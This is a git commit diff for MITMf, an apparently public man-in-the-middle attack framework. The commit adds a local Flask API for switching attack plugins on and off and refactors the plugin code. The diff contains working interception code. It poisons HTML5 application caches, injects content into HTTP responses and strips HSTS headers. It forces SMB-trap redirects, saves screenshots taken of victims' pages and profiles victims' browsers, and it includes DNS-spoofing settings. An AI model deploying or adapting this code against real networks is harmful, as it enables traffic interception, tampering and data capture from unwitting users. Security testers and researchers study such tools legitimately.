Merge pull request #2 from byt3bl33d3r/api

Api
This commit is contained in:
xtr4nge 2015-06-19 17:58:27 +01:00
commit 5e90d905c0
13 changed files with 271 additions and 338 deletions

View file

@ -14,6 +14,11 @@ class ConfigWatcher(FileSystemEventHandler):
_instance = None
config = ConfigObj("./config/mitmf.conf")
def __init__(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
@staticmethod
def getInstance():
if ConfigWatcher._instance is None:
@ -21,11 +26,6 @@ class ConfigWatcher(FileSystemEventHandler):
return ConfigWatcher._instance
def startConfigWatch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def getConfig(self):
return self.config

99
core/mitmfapi.py Normal file
View file

@ -0,0 +1,99 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Coded by @xtr4nge
"""
#import multiprocessing
import threading
import logging
import json
import sys
from flask import Flask
from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
log = logging.getLogger('werkzeug')
log.setLevel(logging.DEBUG)
class mitmfapi:
@app.route("/")
def getPlugins():
# example: http://127.0.0.1:9090/getPlugins
pdict = {}
#print ProxyPlugins.getInstance().plist
for activated_plugin in ProxyPlugins.getInstance().plist:
pdict[activated_plugin.name] = True
#print ProxyPlugins.getInstance().plist_all
for plugin in ProxyPlugins.getInstance().plist_all:
if plugin.name not in pdict:
pdict[plugin.name] = False
#print ProxyPlugins.getInstance().pmthds
return json.dumps(pdict)
@app.route("/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
for p in ProxyPlugins.getInstance().plist:
if plugin == p.name:
return json.dumps("1")
return json.dumps("0")
@app.route("/<plugin>/<status>")
def setPluginStatus(plugin, status):
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
if status == "1":
for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
ProxyPlugins.getInstance().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0":
for p in ProxyPlugins.getInstance().plist:
if p.name == plugin:
ProxyPlugins.getInstance().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"})
def startFlask(self, host='127.0.0.1', port=9090):
app.run(host=host, port=port)
#def start(self):
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
# api_thread.daemon = True
# api_thread.start()
def start(self):
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
api_thread.setDaemon(True)
api_thread.start()

View file

@ -42,32 +42,25 @@ class ProxyPlugins:
in handleResponse, but is still annoying.
'''
_instance = None
plist = []
mthdDict = {"connectionMade": "clientRequest",
"handleStatus": "serverResponseStatus",
"handleResponse": "serverResponse",
"handleHeader": "serverHeaders",
"handleEndHeaders":"serverHeaders"}
pmthds = {}
def __init__(self):
self.pmthds = {}
self.plist = []
self.plist_all = []
@staticmethod
def getInstance():
if ProxyPlugins._instance == None:
if ProxyPlugins._instance is None:
ProxyPlugins._instance = ProxyPlugins()
return ProxyPlugins._instance
def setPlugins(self, plugins):
'''Set the plugins in use'''
for p in plugins:
self.addPlugin(p)
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
def addPlugin(self,p):
def addPlugin(self, p):
'''Load a plugin'''
self.plist.append(p)
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
@ -77,12 +70,12 @@ class ProxyPlugins:
except KeyError:
self.pmthds[mthd] = [getattr(p,pmthd)]
def removePlugin(self,p):
def removePlugin(self, p):
'''Unload a plugin'''
self.plist.remove(p)
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems():
self.pmthds[mthd].remove(p)
self.pmthds[mthd].remove(getattr(p, pmthd))
def hook(self):
'''Magic to hook various function calls in sslstrip'''

View file

@ -419,14 +419,19 @@ class DNSChef(ConfigWatcher):
_instance = None
version = "0.4"
tcp = False
ipv6 = False
hsts = False
real_records = dict()
nametodns = dict()
server_address = "0.0.0.0"
nameservers = ["8.8.8.8"]
port = 53
def __init__(self):
ConfigWatcher.__init__(self)
self.tcp = False
self.ipv6 = False
self.hsts = False
self.real_records = dict()
self.nametodns = dict()
self.server_address = "0.0.0.0"
self.nameservers = ["8.8.8.8"]
self.port = 53
self.onConfigChange()
@staticmethod
def getInstance():
@ -472,9 +477,6 @@ class DNSChef(ConfigWatcher):
self.hsts = True
def start(self):
self.onConfigChange()
self.startConfigWatch()
try:
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
self.startTCP()

View file

@ -60,7 +60,6 @@ class ServerConnection(HTTPClient):
self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().hsts
self.app = URLMonitor.getInstance().app
self.plugins = ProxyPlugins.getInstance()
self.isImageRequest = False
self.isCompressed = False
self.contentLength = None
@ -108,7 +107,7 @@ class ServerConnection(HTTPClient):
def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
self.plugins.hook()
ProxyPlugins.getInstance().hook()
self.sendRequest()
self.sendHeaders()
@ -117,7 +116,7 @@ class ServerConnection(HTTPClient):
def handleStatus(self, version, code, message):
values = self.plugins.hook()
values = ProxyPlugins.getInstance().hook()
version = values['version']
code = values['code']
@ -143,7 +142,10 @@ class ServerConnection(HTTPClient):
self.isCompressed = True
elif (key.lower()== 'strict-transport-security'):
mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2]))
if self.clientInfo is not None:
mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2]))
else:
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP()))
elif (key.lower() == 'content-length'):
self.contentLength = value
@ -161,7 +163,7 @@ class ServerConnection(HTTPClient):
if self.length == 0:
self.shutdown()
self.plugins.hook()
ProxyPlugins.getInstance().hook()
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
for header, value in self.client.headers.iteritems():
@ -188,7 +190,7 @@ class ServerConnection(HTTPClient):
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data']
data = ProxyPlugins.getInstance().hook()['data']
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))

View file

@ -18,12 +18,6 @@
# USA
#
"""
[enabled | disabled] by @xtr4nge
"""
import argparse
import sys
import os
@ -35,17 +29,9 @@ from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.utils import Banners, SystemConfig, shutdown
from core.mitmfapi import mitmfapi
from plugins import *
# @xtr4nge
import multiprocessing, time, signal
from flask import Flask
from configobj import ConfigObj
import json
# @xtr4nge
pluginStatus = ConfigObj("config/plugins.conf")
Banners().printBanner()
if os.geteuid() != 0:
@ -81,6 +67,8 @@ plugins = []
try:
for p in plugin_classes:
plugins.append(p())
ProxyPlugins.getInstance().plist_all = plugins
except Exception as e:
print "[-] Failed to load plugin class {}: {}".format(p, e)
@ -143,10 +131,6 @@ for p in plugins:
#load only the plugins that have been called at the command line
if vars(args)[p.optname] is True:
# @xtr4nge
pluginStatus['plugins'][p.optname]['status'] = "enabled"
pluginStatus.write()
print "|_ {} v{}".format(p.name, p.version)
if p.tree_info:
for line in xrange(0, len(p.tree_info)):
@ -175,13 +159,14 @@ reactor.listenTCP(args.listen, strippingFactory)
for p in ProxyPlugins.getInstance().plist:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch()
if hasattr(p, 'startThread'):
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
t.setDaemon(True)
t.start()
mitmfapi().start()
print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version)
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
@ -206,77 +191,8 @@ from core.servers.smb.SMBserver import SMBserver
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
SMBserver.getInstance().start()
'''
#start the reactor
reactor.run()
print "\n"
shutdown()
'''
# ------------------------------------
# @xtr4nge [enabled | disabled]
# ------------------------------------
app = Flask(__name__)
@app.route("/getPlugins")
def getPlugins():
# Lists all the plugins supporting [enabled|disabled] (check: config/plugins.conf)
# example: http://127.0.0.1:9090/getPlugins
pluginList = {"cachekill", "screen", "browserprofiler", "appoison", "replace", "smbtrap", "upsidedownternet"}
data = {}
for item in pluginList:
data[item] = [pluginStatus['plugins'][item]['status']]
return json.dumps(data)
@app.route("/getPluginStatus/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
return pluginStatus['plugins'][plugin]['status']
@app.route("/setPluginStatus/<plugin>/<status>")
def setPluginStatus(plugin, status):
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
if status == "1":
pluginStatus['plugins'][plugin]['status'] = "enabled"
pluginStatus.write()
elif status == "0":
pluginStatus['plugins'][plugin]['status'] = "disabled"
pluginStatus.write()
return getPluginStatus(plugin)
# @xtr4nge
def startFlask():
app.run(host='127.0.0.1', port=9090)
# @xtr4nge
def startCore():
#start the reactor
reactor.run()
# @xtr4nge
try:
pool = {}
pool[0] = multiprocessing.Process(name="core", target=startCore)
pool[1] = multiprocessing.Process(name="api", target=startFlask)
pool[0].start()
pool[1].start()
while True:
pass
except KeyboardInterrupt:
shutdown()
pool[0].terminate()
pool[1].terminate()
except Exception as e:
print e
shutdown()
pool[0].terminate()
pool[1].terminate()
finally:
print "bye ;)"
shutdown()

View file

@ -34,8 +34,6 @@ from datetime import date
from plugins.plugin import Plugin
from core.sslstrip.URLMonitor import URLMonitor
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class AppCachePlugin(Plugin):
@ -45,14 +43,6 @@ class AppCachePlugin(Plugin):
version = "0.3"
has_opts = False
# @xtr4nge
def getStatus(self):
self.pluginStatus = ConfigObj("config/plugins.conf")
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
return True
else:
return False
def initialize(self, options):
self.options = options
self.mass_poisoned_browsers = []
@ -61,73 +51,72 @@ class AppCachePlugin(Plugin):
self.urlMonitor.setAppCachePoisoning()
def serverResponse(self, response, request, data):
if self.getStatus():
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'response': response, 'request': request, 'data': data}
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'response': response, 'request': request, 'data': data}
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'response': response, 'request': request, 'data': data}
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'response': response, 'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")

View file

@ -30,8 +30,6 @@ from pprint import pformat
from plugins.plugin import Plugin
from plugins.Inject import Inject
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class BrowserProfiler(Inject, Plugin):
@ -41,14 +39,6 @@ class BrowserProfiler(Inject, Plugin):
version = "0.3"
has_opts = False
# @xtr4nge
def getStatus(self):
self.pluginStatus = ConfigObj("config/plugins.conf")
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
return True
else:
return False
def initialize(self, options):
self.output = {} # so other plugins can access the results
@ -63,20 +53,18 @@ class BrowserProfiler(Inject, Plugin):
return d
def clientRequest(self, request):
if self.getStatus():
#Handle the plugin output
if 'clientprfl' in request.uri:
request.printPostData = False
self.output = self.post2dict(request.postData)
self.output['ip'] = request.client.getClientIP()
self.output['useragent'] = request.clientInfo
if self.output['plugin_list']:
self.output['plugin_list'] = self.output['plugin_list'].split(',')
pretty_output = pformat(self.output)
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
if 'clientprfl' in request.uri:
request.printPostData = False
self.output = self.post2dict(request.postData)
self.output['ip'] = request.client.getClientIP()
self.output['useragent'] = request.clientInfo
if self.output['plugin_list']:
self.output['plugin_list'] = self.output['plugin_list'].split(',')
pretty_output = pformat(self.output)
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
def get_payload(self):
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()

View file

@ -27,8 +27,6 @@
import logging
from plugins.plugin import Plugin
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class CacheKill(Plugin):
@ -37,22 +35,13 @@ class CacheKill(Plugin):
desc = "Kills page caching by modifying headers"
version = "0.1"
# @xtr4nge
def getStatus(self):
self.pluginStatus = ConfigObj("config/plugins.conf")
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
return True
else:
return False
def initialize(self, options):
self.bad_headers = ['if-none-match', 'if-modified-since']
def serverHeaders(self, response, request):
'''Handles all response headers'''
if self.getStatus():
response.headers['Expires'] = "0"
response.headers['Cache-Control'] = "no-cache"
response.headers['Expires'] = "0"
response.headers['Cache-Control'] = "no-cache"
def clientRequest(self, request):
'''Handles outgoing request'''

View file

@ -33,8 +33,6 @@ from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class Replace(Plugin):
@ -44,14 +42,6 @@ class Replace(Plugin):
version = "0.2"
has_opts = False
# @xtr4nge
def getStatus(self):
self.pluginStatus = ConfigObj("config/plugins.conf")
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
return True
else:
return False
def initialize(self, options):
self.options = options
@ -60,26 +50,24 @@ class Replace(Plugin):
self.mime = "text/html"
def serverResponse(self, response, request, data):
if self.getStatus():
ip, hn, mime = self._get_req_info(response)
if self._should_replace(ip, hn, mime):
# Did the user provide us with a regex file?
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
except Exception:
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
return {'response': response, 'request': request, 'data': data}
ip, hn, mime = self._get_req_info(response)
if self._should_replace(ip, hn, mime):
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
except Exception:
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
return {'response': response, 'request': request, 'data': data}
def _should_replace(self, ip, hn, mime):
return mime.find(self.mime) != -1

View file

@ -10,8 +10,6 @@ import string
from plugins.plugin import Plugin
from core.utils import SystemConfig
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class SMBTrap(Plugin):
@ -21,20 +19,11 @@ class SMBTrap(Plugin):
version = "1.0"
has_opts = False
# @xtr4nge
def getStatus(self):
self.pluginStatus = ConfigObj("config/plugins.conf")
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
return True
else:
return False
def initialize(self, options):
self.ourip = SystemConfig.getIP(options.interface)
def serverResponseStatus(self, request, version, code, message):
if self.getStatus():
return {"request": request, "version": version, "code": 302, "message": "Found"}
return {"request": request, "version": version, "code": 302, "message": "Found"}
def serverHeaders(self, response, request):
if self.getStatus():

View file

@ -33,8 +33,6 @@ from datetime import datetime
from plugins.Inject import Inject
from plugins.plugin import Plugin
from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf')
class ScreenShotter(Inject, Plugin):
@ -44,33 +42,24 @@ class ScreenShotter(Inject, Plugin):
ver = '0.1'
has_opts = True
# @xtr4nge
def getStatus(self):
self.pluginStatus = ConfigObj("config/plugins.conf")
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
return True
else:
return False
def initialize(self, options):
self.interval = 10 or options.interval
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def clientRequest(self, request):
if self.getStatus():
if 'saveshot' in request.uri:
request.printPostData = False
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
except Exception as e:
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
if 'saveshot' in request.uri:
request.printPostData = False
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
except Exception as e:
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
def get_payload(self):
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())

View file

@ -29,8 +29,6 @@ from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image, ImageFile
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class Upsidedownternet(Plugin):
@ -40,14 +38,6 @@ class Upsidedownternet(Plugin):
version = "0.1"
has_opts = False
# @xtr4nge
def getStatus(self):
self.pluginStatus = ConfigObj("config/plugins.conf")
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
return True
else:
return False
def initialize(self, options):
globals()['Image'] = Image
globals()['ImageFile'] = ImageFile
@ -62,26 +52,25 @@ class Upsidedownternet(Plugin):
self.imageType = response.headers['content-type'].split('/')[1].upper()
def serverResponse(self, response, request, data):
if self.getStatus():
try:
isImage = getattr(request, 'isImage')
except AttributeError:
isImage = False
if isImage:
try:
isImage = getattr(request, 'isImage')
except AttributeError:
isImage = False
if isImage:
try:
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p.feed(data)
im = p.close()
im = im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output, format=self.imageType)
data = output.getvalue()
output.close()
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
except Exception as e:
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
return {'response': response, 'request': request, 'data': data}
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p.feed(data)
im = p.close()
im = im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output, format=self.imageType)
data = output.getvalue()
output.close()
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
except Exception as e:
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
return {'response': response, 'request': request, 'data': data}